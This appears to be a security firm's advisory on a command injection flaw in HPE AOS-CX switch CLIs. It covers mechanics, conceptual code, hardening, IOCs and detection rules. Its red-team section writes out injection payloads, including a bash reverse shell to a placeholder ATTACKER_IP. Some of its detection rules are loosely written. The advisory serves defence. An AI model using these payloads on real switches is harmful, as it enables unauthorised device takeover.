CVE-2026-23816

Executive Summary

CVE-2026-23816 is a high-severity command injection vulnerability in the command line interface (CLI) of Hewlett Packard Enterprise (HPE) AOS-CX Switches. An authenticated remote attacker can exploit this flaw to execute arbitrary commands on the underlying operating system, potentially leading to full device compromise. The vulnerability carries a CVSS score of 7.2, indicating significant impact on confidentiality, integrity, and availability. As of this report, no official patch or public exploit code has been released, but the risk remains critical for organizations using affected AOS-CX switch models.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires authenticated CLI access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: High – authenticated remote code execution with full system compromise potential.

Deep Dive & Mechanics

The vulnerability resides in the CLI parsing logic of AOS-CX switches. When processing certain commands, the software fails to properly sanitize user-supplied input before passing it to the underlying operating system shell. An authenticated attacker with CLI access can inject shell metacharacters (e.g., ;, |, &, $()) into a command argument, causing the switch to execute arbitrary OS commands with elevated privileges.

The flaw is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The attack surface is limited to authenticated users, but once exploited, the attacker gains full control over the switch's operating system, enabling lateral movement, data exfiltration, or denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
def execute_cli_command(user_input):
    # Vulnerable: direct concatenation
    command = "show interface " + user_input
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex
def execute_cli_command(user_input):
    # Patched: input sanitization and no shell=True
    safe_input = shlex.quote(user_input)
    command = ["show", "interface", safe_input]
    subprocess.call(command, shell=False)

The patched version uses shlex.quote() to escape special characters and avoids shell=True, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated CLI access to a vulnerable AOS-CX switch (e.g., via SSH or console).
• Knowledge of a vulnerable command (e.g., show interface, ping, traceroute).

Exploitation Steps:

1. Connect to the switch CLI with valid credentials.
2. Identify a vulnerable command that accepts user input (e.g., ping).
3. Inject a command separator and arbitrary OS command:

   switch# ping 8.8.8.8; id
   

4. Observe the output of the injected command (e.g., uid=0(root)).
5. Escalate to a reverse shell or persistent backdoor.

Example Payload:

switch# ping 8.8.8.8; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Blue Team

Detection & Hardening:

• Restrict CLI access to authorized users only (use AAA, TACACS+, or RADIUS).
• Enable logging of all CLI commands and monitor for suspicious patterns (e.g., ;, |, &).
• Implement command authorization (e.g., privilege levels) to limit high-risk commands.
• Deploy network segmentation to isolate management interfaces.
• Apply vendor patches immediately when released.

Honeypot Setup:

• Deploy a decoy AOS-CX switch with logging enabled.
• Monitor for injection attempts and capture attacker IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from switch to unusual IPs/ports (e.g., reverse shell).
  • Unusual DNS queries from switch management IP.
• Host IOCs:
  • Unexpected processes running on the switch (e.g., bash, nc, python).
  • Modified system binaries or configuration files.
  • New user accounts or SSH keys.
• Log IOCs:
  • CLI commands containing shell metacharacters (;, |, &, $()).
  • Repeated authentication failures followed by successful login.
  • Commands executed outside normal administrative patterns.

Detection Engineering

YARA Rule

rule CVE_2026_23816_AOS_CX_Command_Injection {
    meta:
        description = "Detects command injection attempts in AOS-CX CLI logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23816"
    strings:
        $cmd1 = /[;|&`$()]/
        $cmd2 = /bash|sh|nc|python|perl|ruby/
        $cmd3 = /\/dev\/tcp|\/dev\/udp/
    condition:
        any of ($cmd1) and any of ($cmd2) or any of ($cmd3)
}

Sigma Rule

title: CVE-2026-23816 AOS-CX CLI Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in AOS-CX switch CLI logs
author: Valters IT
logsource:
    product: hpe
    service: aos-cx
detection:
    selection:
        - Command|contains: 
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
        - Command|contains|all:
            - 'bash'
            - 'sh'
            - 'nc'
            - 'python'
    condition: selection
falsepositives:
    - Legitimate use of special characters in CLI arguments (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2026-23816 AOS-CX CLI Command Injection Attempt"; flow:to_server,established; content:"|3b|"; nocase; content:"bash|sh|nc|python"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict CLI access to trusted IPs and users only.
   • Enable detailed logging and monitor for suspicious commands.
   • Implement command authorization (e.g., privilege levels) to limit high-risk commands.

2. Vendor Patch:

   • Monitor HPE security advisories for official patches.
   • Apply firmware updates as soon as they are released.

3. Long-term Hardening:

   • Use SSH keys instead of passwords for CLI access.
   • Deploy network segmentation to isolate management interfaces.
   • Conduct regular vulnerability scans and penetration tests.

4. Workaround (if patch unavailable):

   • Disable or restrict vulnerable CLI commands via command authorization.
   • Implement an intrusion prevention system (IPS) to detect injection attempts.

Valters IT